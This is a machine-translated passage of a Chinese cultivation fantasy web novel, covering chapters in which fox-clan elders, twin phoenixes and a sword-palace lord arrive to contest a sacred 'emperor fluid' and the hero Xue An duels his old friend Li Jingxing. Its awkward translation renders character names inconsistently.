    This kind of scene can be seen everywhere in the heavens, because the planets that can give birth to life are actually very rare, and most of them are such barren dead stars.


    At this moment, on this planet, a hurricane with a strong corrosive aura is blowing wildly, and even the hard rock is riddled with holes wherever it passes.


    The environment is extremely bad, even the strong ones in Da Luo are unwilling to stay in such a place, because a little carelessness will be swallowed by such a death star.


    But in this almost hell-like environment, in the center of the planet, there is actually a towering mountain.


    The mountain exudes shining white light, and the whole body is made of white bones.


    And just at the top of this mountain made of bones, there is a simple cottage.


    In such a harsh environment, this cottage is so out of place.


    But it just stood there silently, no matter how strong the wind was, it couldn''t shake it.


    In the Caolu, it is another scene.


    The inside of the Caolu is very clean, so clean that there is no furniture, only two futons on the ground.


    On the futon is a middle-aged man who is meditating with his eyes closed, and on the futon opposite him is a white bone sitting cross-legged.


    Nothing else but .


    Death star, white bones like a mountain, a man and a skeleton in the grass cottage, these elements constitute a very strange picture, it is simply staggering.


    But at this moment, a white light suddenly pierced the dark sky, arrived in the grass cottage, and then sank into the man''s eyebrows.


    The man trembled all over, then slowly opened his eyes.


    At the moment he opened his eyes, the raging wind outside the Caolu stopped instantly.


    It was as if a giant beast saw the existence that made it all horrified.


    at the same time.


    The man began to tremble slightly, and then slowly said in a jerky voice: "Emperor... Emperor flow!"


    When the words fell, his eyes burst into tears and he began to cry silently.


    As he cried, the whole planet began to crack, and long, long and deep cracks appeared.

 Chapter 1831： Fox night without losing the chain at the critical moment

    At the same time, Hu Ye and Hu Ying in the Dragon Clan''s secret realm together felt something, their whole body trembled, and then they looked at each other in shock.


    "It''s the three elders!"


    After speaking, a cold sweat appeared on Huye''s forehead, and his complexion became difficult to look at, and he spoke very hard.


    "This is over, how come it is her?"


    The tone was filled with despair.


    Upon seeing this, Xue An couldn''t help asking: "Is it a fox vine?"


    Hu Ye nodded very frustrated.


    Xue An sighed softly, then patted Fox Ye on the shoulder with infinite sympathy.


    "Brother, ask for your blessings!"


    The reason for saying this is that Xue An also recognizes the three elder fox, knowing that this woman is not easy to provoke.


    In the Qingqiu Fox Country, she is second only to the Great Elder in terms of her cultivation strength, and she is the existence of the Eight-tailed Heavenly Fox.


    But this is not the main thing. The main thing is that this woman has an extremely weird temperament, and she has no rules in her work, and she can''t use common sense to guess.


    Once the temper comes up, she can beat all of you no matter who you are.


    Therefore, even Fox Ye, who is the future heir of the Qingqiu Fox Country, had to bow his head obediently when facing the three elders, and didn''t dare to make trouble.


    This is why Xue An has sympathy for Hu Ye.


    Once she got involved, the matter became more complicated.


    At this moment, after looking down and meditating for a while, Hu Ye raised his head suddenly, looking at Xue An earnestly.


    "Lao Xue, this old lady is too powerful, I''ll take Arou out to avoid the limelight first, I''ll leave it to you!"


    As he said, he grabbed A Rou and turned to leave.


    Hu Ying cried out with some worry: "Brother, are you just taking your sister-in-law to leave?"


    "Nonsense, it will be too late if we don''t leave, that old lady is so tight, I don''t want to provoke her!" Fox Ye said to herself.


    But just when he was about to break through the void and leave directly here, he saw the sky suddenly flew towards several brilliances, and at the same time a playful female voice came.


    "Xiao Yezi, who do you say is the old lady?"


    This statement came out.


    Fox night froze in place instantly.


    At the same time, these few brilliances flashed by, easily breaking through the Dragon Clan''s defense, and coming to the front of everyone.


    After Guanghua dissipated, it was the three elder fox and her gang.


    After seeing her, Hu Ying trembled all over, and then took a step forward, lowered her head and said very well-behaved and softly: "Three Elders!"


    The third elder Huwan looked at Hu Ying a few times, his sharp eyes gradually softened, and finally nodded.


    "I didn''t expect Xiaoying you to be here too. It seems that my gains this time are not small!"


    Hu Ying didn''t dare to say anything, so she stood aside with her head down and honestly.


    Then Huwan looked at Xue An and said with a smile: "I heard that Lord Honglian has been reborn before, but now it is true, and it is really gratifying to see the immortal king again in such a short time. Hey!"


    Xue An nodded with a smile, "Thank you! I haven''t seen you for many days, and the style of the three elders is better than ever!"


    "Oh, Lord Honglian is still so good at boasting, but I have always felt so!" The fox chuckle covered her mouth and giggled. The natural amorous feelings that appeared in every move were enough to make people with a little weaker concentration on the spot. Crazy.


    Then Huwan turned his head to look at the fox night with his back to her not far away, and said with a clever smile: "Xiao Yezi, what did you call me just now? Old lady? I am so young?"


    Although she was smiling, her eyes were full of coldness.


    No woman can stand other people saying that she is old, even if she is the powerhouse of the immortal emperor.


    After hearing these words, Huye trembled all over, and then turned around with difficulty, squeezing a smile on his face that was worse than crying.


    "Three...Three elders, I was just playing with you! How come you are old? You are not old at all, you even look younger than me."


    The fox nodded in satisfaction, "It''s almost the same, but what are you doing now? Run away?"


    "Hahahaha, depending on what you said, how can I escape! Didn''t I perceive your arrival, am I about to meet you!" Hu Yeqiang said with a smile.


    But Huwan didn��t eat him at all. She looked at Huye indifferently, but finally kept her gaze on A Rou who was aside, especially when she saw the hands held by the two. His eyes narrowed slightly.


    Huye noticed this, and subconsciously wanted to let go, but immediately thought of something. In the end, instead of letting go, he turned slightly to his side, blocking A Rou behind him.


    "Xiao Yezi, who is she?" Hu Wan said lightly.


    Fox Ye was silent for a moment, and finally solemnly said: "She is my woman!"


    "Your woman?" The fox was startled slightly, and then he giggled again as if he had heard a big joke.


    With her laughter, the little fox squatting on her shoulders also looked at A Rou curiously.


    After a while, the laughter gradually subsided, and then the fox said coldly: "Fox Ye, I hope you can figure out your identity, you are the blood of the sky fox, the future king of the Qingqiu fox country, your woman can only It is the most powerful monster race."


    "As for this woman..." Hu Wan turned her head and said lightly: "I can treat her as if I didn''t see it this time, but you have to deal with her well, don''t leave troubles, understand?"


    These words made A Rou''s face instantly pale as paper.


    Huye noticed this, and shook her hand gently, beckoning her not to be afraid, and then shook his head at the fox with a sinking face.


    "Three elders, I hope you can understand one thing. She is my woman. She is now and will always be. As for finding a powerful monster race to be a woman, I have no interest at all."


    Fox''s expression is getting colderFox Ye, I still said that, you have to figure out your identity, you are the future king of Qingqiu Fox Country... "


    Before she could finish her words, Hu Ye said straightforwardly: "If this king wants to sacrifice my woman at the expense of my woman, then I''m not the king!"


    Upon hearing these words, sister Hu Ying couldn''t help but sigh in secret.


    My elder brother is usually foolish and exhausted, but is he still very powerful at the critical moment, dare to confront the three elders head-on, it is really stubborn!


    really.


    The fox''s complexion instantly turned pale, and the little fox on his shoulders also began to grinning at the fox night.


    "For a mortal woman with six incomplete roots, you actually said this. Believe it or not, I will kill her now?"


    Huye was unmoved, but his eyes flickered, "You can try!"


    "My Huye is here to swear that anyone who dares to touch her hair will kill her!"

 Chapter 1832： Normal to heinous fox

    The atmosphere instantly became tense.


    Huwan stared at A Rou, his eyes flashing with dangerous light.


    "Are you threatening me?"


    Hu Ye shook his head, "Of course not. In fact, I have always respected you very much, but Arou is my woman. I promised to protect her forever, so I must do it!"


    The fox was surprisingly not angry this time. Instead, there was a sense of confusion in his eyes. Then he turned his head slightly and said in a cold tone: "Do you know what you mean by doing this?"


    "I can ignore this matter and even hide it for you. But you will always return to Qingqiu Fox Country. When the elder and the elders know about this, how should you deal with it?"


    "At that time, they will exert far more pressure on you than me. Are you going to hold on like this?"


    Hu Ye smiled freely, "Third Elder, I know you are for my good, but even though I Hu Ye is usually cynical, I must do what I promise, even if I pay any price!"


    Hearing these words, Hu Wan was almost frustrated, "Good good! Since you are so infatuated, what do you think of her? With the strength of the great elder, if you know her existence, just a thought If you can crush her to death, won''t you indirectly hurt her then?"


    "That''s why I am here to capture the emperor''s fluid, heal A Rou''s eyes, and transform them into the body of the demon race! In this case, the elder can''t say anything."


    Speaking of this, Huye squeezed his eyes at Huwan, "Third Elder, I know you usually love me the most. Would you like to do me a favor this time?"


    The fox snorted, "I just want to beat you violently, and I want me to help you, get out!"


    "Then why are you here?" Hu Ye asked strangely.


    "Nonsense, Emperor Liuxu reappears in the world. Such a big event has already shaken the entire monster race. As the leader of the Qingqiu Fox Country, it is natural to express something, so he sent me out. Who would have thought of this trip? There can be such a big windfall!" Fox Han said bitterly.


    Although the words were very rude, whether it was Huye or Huying, everyone secretly breathed a sigh of relief.


    Because they know that this storm is temporarily over.


    The three elders with weird temperament should be in a good mood recently and didn''t directly get angry because of this.


    At this moment, Ao Qing who received the news also hurried over.


    She couldn''t help being stunned when she saw fox frog, but she quickly reacted and gave a salute.


    "It turns out to be the three elders of the Fox Country!"


    The fox chuckled, "His Royal Highness is too polite, tut! The dragons are really lucky this time, the emperor fluid that hasn''t appeared in five thousand years will actually appear in your secret realm. It seems that the chance for the dragons to rise again It''s in front of you!"


    The eloquent fox stalk is simply normal and outrageous.


    "The three elders have praised." Ao Qing thanked gently, and then said solemnly: "But I don''t know what Qingqiu Fox Country''s attitude is this time?"


    This is what she and the whole dragon clan care most about.


    After all, Qingqiu Fox Country, as the leading power among the monster race, his attitude will directly affect the direction of the whole thing.


    Huwan was not surprised by this question, and shrugged very calmly, "I want to say that this trip is just to see the final result, is your Highness credible?"


    "Does this mean you or the Great Elder..." Ao Qing hesitated.


    "Let''s put it this way, the great elder said six words to me before leaving, don''t participate or snatch!"


    Upon hearing these words, Ao Qing couldn''t help letting out a sigh of relief.


    She absolutely believed the words of the fox, and the six words of the great elder also showed that the Qingqiu fox country had no intention of robbing the emperor''s fluid.


    This is undoubtedly excellent news for the dragons who are under tremendous pressure.


    But immediately after that, Foxtail turned the conversation, "But..."


    "But what?"


    "Although the great elder made it clear that Qingqiu Fox Country will not take a trip to this muddy water, but I want to try it myself, after all..."


    Hu Wan glanced at Hu Ye not far away, "You can be regarded as the one I grew up watching. I must help you in this matter!"


    Hu Ye heard the words infinitely grateful Chonghuwan bowed, "Thank you three elders!"


    "Don��t rush to thank you, I can put the ugly words on the front. If the desired effect is still not achieved after the emperor flow, then you''d better follow me back to see the elder, otherwise you will end up harming others and yourself. !"


    "Fox Ye understands!"


    At this moment, An Yan led the two little girls and Zhang Xiaoyu out of the Fu Bao Xiaolou with Chan''er.


    Then the two little girls saw the little fox squatting on the shoulders of the fox wing at a glance, and all of them were bright.


    "Wow! What a beautiful puppy!" Nian Nian exclaimed.


    These words almost caused the little fox to fall from his shoulders, and then he gave a bitter look, the look seemed to be saying.


    You are a puppy, and your whole family is a puppy!


    But Nian Nian didn''t pay attention to these at all, instead, she was cut off by the angry look of this little fox.


    "The furry is really like a ball, I really want to touch it!"


    Somehow, the little fox suddenly felt a chill.


    Because at this moment, its owner, the third elder fox screamed in surprise.


    "Wow, it''s twins!"


    As he said that, he hurried to the front, squatted down and looked at thinking and Niannian with bright eyes.


    "Quickly, tell auntie, which one of you is your sister and which is your sister!"


    When I hear this old-fashioned question, I can''t help but roll my eyes when I think about it.


    Why would anyone ask this when they saw it?


    Nian Nian was different. She bit her finger for a moment and thought, then pointed at the little beast on the fox''s shoulder.


    "Auntie, let me touch it, and I will tell you who is the sister and who is the sister!"


    "Okay!" Without hesitation, the fox threw the little fox on his shoulders.


    The little fox screamed in the air, his eyes flashed, and he wanted to resist.


    But at this moment, a chubby hand directly grabbed the back of its neck, and Nian Nian said in infinite surprise: "Wow, so cute!"


    Although it was just a very simple action , the little fox felt that all his resistance had gone to nothing, and there was a look of panic in his big eyes.


    "Now can you tell Auntie, who is your sister and who is your sister?"


    Nian Nian played with the little fox with excitement, without raising her head, "I''m my sister! By the way, aunt, what''s its name?"


    "Name? It has no name!" Hu Wan said with a smile.


    Normally, she and this little fox are connected through divine thoughts, so naturally they don''t need a name.


    "Then I''ll give you a name! You are so white and fleshy, like a rabbit, why don''t you just call...big fat!"


    The little fox cried faintly in protest.


    But it didn''t know it at all. At the moment Nian Nian called out its name, a mysterious and mysterious energy was engraved in its soul.


    Seeing this scene, Fox''s eyes were bright and horrified.


    "this is����."

 Chapter 1833： Hate iron but not steel

    Nian-nian''s attention was attracted by this little fox, and she was completely unaware of what was happening outside.


    Thinking aside, I noticed the strangeness, and then took a step forward, bravely blocking his sister behind him, and said in a deep voice, "What do you want to do?"


    Following her questioning, Huwan felt that all the aura she had accumulated instantly disappeared invisible, and even her heart was shaken inexplicably.


    The fox stalk, who had been hit twice, couldn''t believe his eyes.


    At this moment, Xue An came to the front and said with a smile: "Think about it, don''t be so nervous, this aunt is playing with you!"


    Thinking about this, he was relieved, but he still looked at the fox vine with a vigilant face, and then pulled Nian Nian aside.


    Xue An said indifferently: "Three Elders, you seem surprised?"


    Huwan finally awoke from the shock, and then took a deep breath, "I was really surprised."


    When he said this, Huwan looked at the two little girls who were playing with the little fox in the distance, and the lingering fear in his eyes remained.


    "Master Gulian, your two daughters are not ordinary people!"


    "I know this!"


    After a moment of silence, Huwan finally couldn''t help but said, "Master Honglian, why don''t you let them practice with such a powerful talent?"


    Xue An turned his head and glanced at the fox, smiled faintly, then looked at the thoughts and misses who were playing, and said lightly: "Because I want them to have a happy childhood!"


    Fox''s eyes gradually widened, and he said in disbelief, "Is it because of this?"


    "Yes, because of this, is there anything more important than a happy childhood?"


    Having said that, Xue An stepped towards the two little girls and started playing with them with a smile.


    Foxtail looked at Xue An''s back, and whispered in shock with a face of shock: "Oh my God, this is a naked waste! Such a good talent, if you can tune it casually, you will be the peerless genius of Megatron!"


    At this moment, Hu Ying also walked to her and whispered: "Three elders, in fact, I think Brother Xue is right. Missing now is the time for innocence. If they are allowed to practice prematurely, they will Undermine their innocence."


    "As for those false names, I think Brother Xue shouldn''t care at all."


    "That''s how it is said, but do you know what the talents of these two little girls mean? One speaks freely, the other understands the origin. Anything is dreamed of by countless people!" Hu Wan couldn''t help it. Sigh.


    "I think Brother Xue should have his own plan." Hu Ying said affectionately.


    Hearing this, Hu Wan looked at Hu Ying with a weird face, then moved closer and whispered.


    "I haven''t asked you yet, where did you go after you ran out of Qingqiu Fox Country? The Great Elder sent countless people to look for you, but none of them were found!"


    Faced with this series of questions, Hu Ying chuckled lightly, then spoke slowly.


    "At that time, after I ran out of the house, I accidentally strayed into a space, and then I was trapped inside. In the end, if Brother Xue didn''t help me, I might have had an accident."


    Hearing this, Foxtail curled his lips and said in his heart that you have the absolute protection of the Great Elder. Who among the heavens can hurt you, but she did not say these words, but moved forward again. Minato, lowered his voice and asked.


    "Then you got in with him? Didn''t his wife say anything?"


    Hu Ying smiled and said, "Sister Yan is a very nice person and has always taken care of me. How could you say me."


    Now the look on Fox''s face became more and more weird, and he gave a light cough, then leaned into Fox Ying''s ear and said something softly.


    Hu Ying''s face turned red to the base of her ears, then her silver teeth bit her, and shook her head slightly.


    "Three elders, what are you talking about! Brother Xue has always regarded me as a younger sister."


    The fox was even more surprised now, "Nothing? Didn''t even promise?"


    "No!"


    "Then why are you hanging around together? He already has a wife and children now, aren''t you ready to give up?"


    Hu Ying lowered her head, her cheeks flushed, and said like a mosquito: "I...I just want to see him every day, and then I will be content!"


    Hearing the words, the fox vine covered his eyes, and said, hating iron for not making steel.


    "My little aunt, grandma, we are the fox clan who is known to fascinate sentient beings. You are simply losing the face of the fox clan now. Are you worthy of the tail behind you and your blood?"


    Hu Ying gradually widened her eyes, "What do you mean? Third Elder, you... don''t you persuade me?"


    Hu Ying was already prepared, thinking that the third elder would definitely persuade herself to go back, but he never expected that Huwan would say that.


    "Persuade? What do you persuade? Do you persuade you to separate?"


    Hu Ying stopped talking.


    Hu Wan smiled and shook his head, "You like people and haven''t committed any crime. Can I persuade you for this? I didn''t even persuade your brother, let alone you? At least your vision is not bad, red The name Lian Xianzun is still very bluff."


    "And I know, it''s useless to persuade! Because the fox women are always infatuated, once they get it, they won''t change it for a lifetime. This is also the love that we fox women have to face!


    At the end, Fox''s tone became very depressed, and a touch of melancholy appeared in his eyes.


    Hu Ying wanted to say something, but in the end she closed her mouth obediently and said nothing.


    Because she remembered what she had heard before, there were rumors about the Three Elders.


    At this moment, the fox suddenly grabbed Hu Ying''s shoulders and whispered: "But you can''t be like this now. Men sometimes like to take the initiative. You are such a bun, but you will suffer. Come on, today. Teach you well!"


    "Teach... what to teach?" Hu Ying said in a trembling voice teach you how to be a qualified fox girl! After all, as the daughter of the sky fox, strength can be lacking, but the charm of this skill is full of points. If we are all like you, our group of fox girls don''t need to be in the heavens. "


    With that, Hu Ying was forcibly dragged away by the three elders.


    At the same time, the Queen of Thousand Legs and the Three-legged Crow who were waiting outside the secret realm were also talking.


    "The people of Qingqiu Fox Country have also entered the secret realm. The more trouble this matter is, can you still control it?" The Queen of Thousand Feet asked coldly, with a hint of sarcasm in her eyes.


    The three-legged black complexion became very ugly, and he said bitterly: "Damn, who would have thought that these dead foxes would also come to this muddy water, don''t they have a three-sang tree? Why do they still slurp against the emperor? Do not forget?"


    "Who would dislike his own baby?" The Queen of Millipede said lightly, "The most important thing now is how we should respond."


    "Don''t worry!" Three-legged Wu promised, "Although it was a bit unexpected, even the people from the Qingqiu Fox Country participated in it, and I have full confidence!"

 Chapter 1834： Twin Phoenix, Lord of Sword Palace

    "Really?" The Queen of the Thousand Races still didn''t quite believe it.


    "Of course it''s true. Unless there is a strong player coming in, this emperor''s slurry will definitely be mine! But now that even the people from the Qingqiu Fox Country are here, what strong player can there be among the Monster Race? Don''t worry!" Sanzuwu said with a smug expression.


    But as if it were in response to his words, the three-legged Wu had just finished speaking, and only heard a very clear hum that shook the entire void.


    Everyone was shaken by it.


    Because they all noticed the unusual hum.


    Especially some demon races with a long lifespan are even more disillusioned.


    "This call..."


    As soon as the voice fell, a fire suddenly appeared in the void.


    This flame is not an extraordinary thing. As soon as it appeared, the scorching heat wave forced many people back again and again.


    Even the space was shaken by the grilled distortion.


    But this is just the beginning. Almost in an instant, the firelight began to converge rapidly, and then it condensed into the shape of a firebird.


    After the firebird, a cluster of long tail feathers slowly unfolded, beautifully, making people have an urge to worship.


    "Huofeng... God, it''s Huofeng!" someone muttered with a dull face.


    No wonder he was so surprised.


    It was really because the Phoenix clan had disappeared from the monster clan for a long time, and it had even become a legend.


    Many people think that the Phoenix family has been completely extinct.


    Unexpectedly, even today, this extremely mysterious ethnic group would also appear.


    Three-legged Wu''s mouth opened slightly, and finally he laughed forcefully.


    "Hehe, it''s just a phoenix survivor, don''t worry too much!"


    But at this moment, the giant bird transformed from fire suddenly condensed into a woman.


    A beautiful woman with her eyes burning like flames, red lips and white teeth, wearing a flaming red dress.


    As soon as the woman appeared, there was a burst of laughter like a wind chime.


    "Yeah, it''s really busy, sister, don''t you show up yet?"


    When the words fell, beside this woman, a group of extremely deep cold air began to emerge.


    Although they are far apart, just a glance, the cold air made many people tremble, showing how terrifying its lethality is.


    Later Hanqi also condensed into the image of a phoenix bird, and finally turned into a woman.


    This woman, no matter her facial features or body shape, is exactly the same as the woman who first appeared.


    There are only two differences.


    One is that her eyes are filled with icy blue extremely cold air, and the other is that she is wearing a dark green dress.


    In addition, the two are almost as if they were carved out of the same mold.


    "Twin Phoenix! God, there is such a thing!" Someone sighed in shock.


    Therefore, according to old legend, the Phoenix clan is different from the dragon clan, which is most fond of reproduction. This race is naturally noble and extremely difficult to give birth, so the Phoenix clan has been very small since ancient times.


    When the Phoenix clan reaches the point of life and death, it will definitely give birth to a pair of twin phoenixes, one yin, one yang, one fire and one ice.


    This twin phoenix will possess the unpredictable strength of ghosts and gods, and can even kill the existence of the same level in seconds.


    Unexpectedly, this legend that sounds absurd is actually true.


    When everyone in the audience was dumbfounded, the three-legged Wu Wu insisted: "It''s just a pair of twin phoenixes. I don''t want to put it in my eyes. Let me see if you have the ability to come and let me see it! I''m not afraid. !"


    Today, the three-legged crow''s mouth seemed to be opened, and he said whatever he said.


    Because his voice just fell, from the depths of the distant void, there was a dull loud noise.


    It was as if a giant beast was slowly approaching, and all the demons trembled.


    Then I saw a man holding a skeleton in his arms, walking out of the darkness seemingly slow but fast.


    Every step he takes, he will arouse countless sword intent, and his aura is so strong that it makes his heart broken.


    And when he arrived on the court, the two phoenixes took a step back and bowed and said: "I have seen the master!"


    The three-legged crow was dumbfounded.


    He never expected that things would turn out to be like this.


    When did the strong become the Chinese cabbage on the side of the road, unexpectedly one crop after another appeared.


    At this time, the Queen of Thousand Feet said quietly: "Is it still sure now? Would you like to stop shouting and see if there are any strong ones?"


    The sarcasm and anger in this sentence are almost overflowing.


    The three-legged Wu couldn''t even say a word.


    Because he faintly felt that this matter had been out of his control.


    At least compared to the powerhouses who came later, his own strength is no longer enough.


    at the same time.


    Xue An, who was in the secret realm, naturally felt the strangeness of the outside world, but he did not panic at all. Instead, he squatted down and smiled at the two little girls: "Missing you, go, go back to the Fubao building with your mother. "


    "Ah, can''t you play for a while? Just a while!" The two little girls on the head were a little unhappy.


    "Hey, wait for a while to clean up, Dad will play with you again, okay!"


    "Ok!"


    The two little girls also understood that Dad had a lot of work to do, so they simply followed Anyan away.


    An Yan nodded gently against Xue An. "Husband, be careful!"


    Xue An smiled freely, "Don''t worry, I have my own measures!"


    When An Yan returned to Fu Bao Xiaolou with two little girls, Xue An slowly turned around, and the smile on his face gradually converged.


    "Master Honglian, did you perceive it?" The fox appeared next to Xue An and asked softly.


    "Of course, Gemini Phoenix, I haven''t seen such an existence for a long time!" Xue An said lightly.


    "But I think the other one is the most important thing. After all, I have never seen such a powerful and crazy sword intent!" Hu Wan said with a serious face.


    "He?" Xue An smiled and shook his head, "He is really amazing, but I happen to know him!"


    "What? Then who is he?" Hu Jian was surprised.


    At this moment, a flat, water-like voice spread across the barriers to everyone''s ears in the secret realm.


    "Xue An? Are you still alive?"


    Xue An smiled faintly, "Of course I am still alive, why? Li Jingxing, are you disappointed?"


    Li Jingxing!


    When this name came out, everyone, including the fox vine, was terrified.


    Because among the heavens, this name means absolute power.


    That is the real immortal emperor!


    Moreover, as the lord of the sword palace , Li Jingxing founded the Buried Sword Mountain alone, guarding the Throne of Ten Thousand Swords alone, and almost suppressed the Void Northern Realm with one person''s power, making countless evil demons afraid to cross the thunder pond. Seeing the shadow and fleeing, eventually became an insurmountable peak in sword repair.


    How can such an existence not be frightening.


    It can be heard that he disappeared strangely three years ago, and for this reason, there was an uproar among the heavens.


    There are rumors that he was dead because of a delusion while practicing.


    But I didn''t expect him to appear here today.


    "Disappointment can''t be mentioned, but I didn''t expect you to appear here, why? The dignified Red Lotus Immortal Venerable was also bought by the Dragon Clan and became their thug?" Li Jingxing said lightly.


    "Haha, the last name is Li, you haven''t changed at all for so many years, and your speech is still so mean!"


    With that, Xue An stepped forward and appeared directly outside the secret realm.

 Chapter 1835： If anyone dares to stop me, I will kill anyone

    When he came outside the secret realm, Xue An saw Li Jingxing standing in the distant void at a glance.


    No way, the sword intent on his body was too strong, just standing there made Xinghai tremble.


    Even in Xue An''s sense of consciousness, he was like a peerless magic weapon, exuding a strong murderous aura.


    With just this momentum and killing intent, the average strong, let alone confront the enemy, even if he looks directly at it, he will break his nerves.


    But Xue An didn''t even blink his eyelids, as if all this was just blowing the breeze, and even took a deep look at the skeleton in Li Jingxing''s arms.


    Then Xue An''s eyes showed a thoughtful look.


    at the same time.


    Li Jingxing said lightly: "Acrimonious? No, I just disdain to cover up, I just say anything. For example, you, the dignified Red Lotus Immortal, why do you want to mix with these long-horned loach?"


    These remarks were extremely rude, at least Ao Qing''s face sank for him, but after struggling for a few times, he finally lowered his head.


    Because she knew very well that with the current strength of the Dragon Clan, she could not provoke the Lord of the Sword Palace.


    Xue An also smiled when he heard this, "Why should I mix with them, don''t you know?"


    "Oh?" Li Jingxing''s expression changed slightly, "If you want to say that, you are also here for the emperor?"


    Xue An nodded, "You are right, but unfortunately there is no reward."


    Li Jingxing''s expression gradually darkened, "Xue An, you are a human race, but this emperor flow is a demon sacred thing, and it has nothing to do with you. What do you want it to do?"


    "Can you control it? Young master, can''t I **** it over to play when I am idle?" Xue An''s face was rogue, and he continued without waiting for Li Jingxing to reply.


    "And aren''t you the same? The same human race also came to this muddy water. We are half a cat. Don''t say who."


    Angrily appeared in Li Jingxing''s eyes, and he said coldly: "I am different from you, I do it for..."


    "To resurrect the skeleton in your arms!" Before he finished speaking, Xue An took the words, and then looked at the pair of twin phoenixes with a smile.


    "If I didn''t guess wrong, this skeleton should also be the Phoenix survivor. Am I right?"


    Li Jingxing''s expression was so gloomy that water dripped, "So what?"


    "No, it''s just a sigh. You have been missing for three years because of her?" Xue An sighed lightly.


    Li Jingxing was silent for a moment, and then nodded, "That''s right! In the past three years, I tried almost every method to revive Feng''er, but all failed!"


    Speaking of this, Li Jingxing''s eyes showed a fanatical color, "I was already desperate, but I never expected that Di Liuxian would appear in this world at this time. This is Fenger''s blessing in the dark."


    "As long as I grab the emperor Liuliu, that Feng''er can enter Nirvana and be resurrected in the world, so..."


    Li Jingxing''s eyes showed an incomparably bitter killing intent, "I am sure I will win the emperor, if anyone dares to stop me, I will kill whoever, even you... is no exception!"


    As soon as these murderous words came out, the space around Xue An couldn''t bear such a huge pressure, and began to crack.


    This is the power of the immortal emperor.


    A word can cause the void to arise and die.


    But in the face of such a harsh environment, Xue An became more and more calm, and even the white clothes on his body did not have the slightest wrinkle, just a slight sigh.


    "Does it have to be like this? I always thought we should be friends!"


    Hearing Xue An''s words, Li Jingxing was slightly shocked, and a rare warmth appeared in his eyes, and then said.


    "Yes, you and I are indeed friends, so as long as you retreat now, I will never embarrass you. When things are done, we will talk about the wine and talk with the sword. What do you think?"


    Xue An nodded, "Okay!"


    Li Jingxing looked relaxed, "Thank you!"


    But after speaking, Xue An didn''t move at all, still standing there and looking at Li Jingxing with a smile.


    "What do you mean?" Li Jingxing asked in a deep voice.


    Xue Anyou said quietly: "Really old and fierce, I understand you very well, because if this matter is changed to me, I will desperately think of ways to resurrect her, but the problem is..."


    Xue An pointed to the skeleton in his arms, "Does she really want to live?"


    Li Jingxing was furious, and the violent sword intent even blasted the space around Xue An directly into powder.


    "What did you say? Say it again if you have the ability!" Li Jingxing roared hysterically.


    Xue An was completely unmoved by Li Jingxing''s momentum, and said lightly: "It''s the same again, because she clearly committed suicide, and even she has given up, so how can you resurrect her?"


    As soon as this remark came out, everyone was shocked.


    Especially the twin phoenixes were shocked and looked at Li Jingxing in disbelief.


    At this time, Li Jingxing was almost crazy.


    "No, it''s not what you said, she was just joking with me, she will definitely come alive! Definitely! So you get out of my way!"


    Li Jingxing roared, and suddenly raised his hand, the boundless sword intent instantly condensed into a giant sword in his palm, and then pierced directly at Xue An.


    Where the Jianfeng passed, the space was silently divided into two halves like butter cut by a hot knife.


    Ding.


    With a sharp metal clash, Xue An held Mo Wangan across his chest, just blocking the sword Li Jingxing stabbed.


    But at this time, Li Jing was like a crazy tiger, and the extremely powerful force even flew Xue An straight up.


    This scene caused all the monsters to exclaim.


    But the three-legged black-footed black and the thousand-footed queen, who was hiding in the darkness, saw it with joy.


    let''s hit!


    The livelier the fight, the better, it is best to kill Xue An directly, so that the two of them will have no scruples.


    But at this moment, I heard only a soft drink, and then I saw Xue An suddenly flipping his wrist, Mo Wangan in his hand stood up, and the sharp and unparalleled blade directly cut Li Jingxing��s giant sword from the middle~www .novelhall.com~ Then Xue An stepped into the void and rushed towards Li Jingxing.


    Wherever he went, don''t forget me and Li Jingxing''s giant sword frantically rubbing, splashing sparks up to hundreds of meters long.


    Xue An''s speed is extremely fast, just after a while, he has rushed to Li Jingxing.


    At the same time, Li Jingxing was completely crazy.


    As a sword repairer, only absolute calmness can display his full strength.


    Li Jingxing now only burns his sword intent in hysterics, and even forgets to dodge.


    "Old friend, sorry, please calm down first!"


    Xue An muttered silently in his heart, and turned Mo Wangan in his hand, the sword directly shattered the huge sword completely.


    Immediately after Xue An raised his hand, he wanted to shoot down with the sword.


    But at this moment, the twin phoenixes suddenly appeared next to Li Jingxing.

 Chapter 1836： This road is nowhere, please go back

    The twin phoenix opened his mouth, and the hot flames and cold ice mist rushed out and condensed into the shape of a phoenix bird in the air, heading straight for Xue An.


    Xue An just yelled, "Get out!"


    boom!


    The twin phoenixes were struck by lightning, shocked all over, flying straight upside down.


    However, the two reacted extremely quickly, hovering in the air, and the original form appeared.


    But seeing two beautiful phoenix screams, they went straight to Xue An again.


    Xue An sneered slightly, "If you are the real Phoenix survivors, I might still be careful, but it''s just a remnant forged from Phoenix Spirit. Do you really think I''m afraid?"


    With that said, Xue An hit two punches in a short time.


    Boom!


    After two loud noises, the twin phoenix cried out with a mournful cry, they were directly blasted away, and then flew out.


    "Damn, it turned out that it was two Xibei goods after a long time, which made me so nervous before." Three-legged Wu said with a curled mouth, and then looked at the queen of thousand feet.


    At this time, the Queen of Thousand Feet was pale, and her whole body was trembling slightly.


    "What''s the matter?" Sanzuwu asked in surprise.


    "He... his strength is stronger than before!" The Queen of Thousand Feet trembled, her eyes full of horror.


    "Is there? How do I feel that he is just an ordinary fairy king now!" Three-legged Wu said in shock.


    The Queen of Thousand Feet no longer wanted to talk to this stupid and arrogant fellow. At this moment, she even began to regret that she shouldn''t have followed the nonsense of the three-legged crow and went to this place to participate in this matter.


    It''s alright now, the whole person is already trapped and unable to escape.


    At this moment, Xue An raised his hand again and patted Li Jingxing, who was completely crazy.


    But at this moment, the entire dragon clan secret realm suddenly appeared ripples, and exuded a soft brilliance.


    Immediately afterward, a huge round moon appeared in the void, shining all over the square, and covering everything with a layer of silver.


    All the monsters shook, and the three-legged black crow blurted out, "Emperor Liuliu, it''s Emperor Liuliu, it has appeared!"


    With that, he was hiding in the darkness and immediately lurked into the secret realm.


    At the same time, the demons also woke up one after another and began to rush forward frantically.


    But in the audience, it was Li Jingxing who reacted first.


    When the glow just appeared, there was a sober look in his infinitely crazy eyes.


    It was at this moment that Xue An''s palm had already been photographed close.


    But Li Jingxing didn''t care about these at all, but flew in the direction of the secret realm desperately.


    boom.


    With this palm slapped directly on his back, Li Jingxing trembled all over, but he still didn''t look back, but instead rushed faster.


    Xue An was startled when he saw this, and then sighed lightly.


    Naturally, he wouldn''t really take Li Jingxing, so this palm was not doing his best, and because Li Jingxing was a dignified immortal emperor, this palm just caused him a slight injury.


    For an existence like Li Jingxing, there is no harm at all.


    For a time, all the monster races were rushing forward.


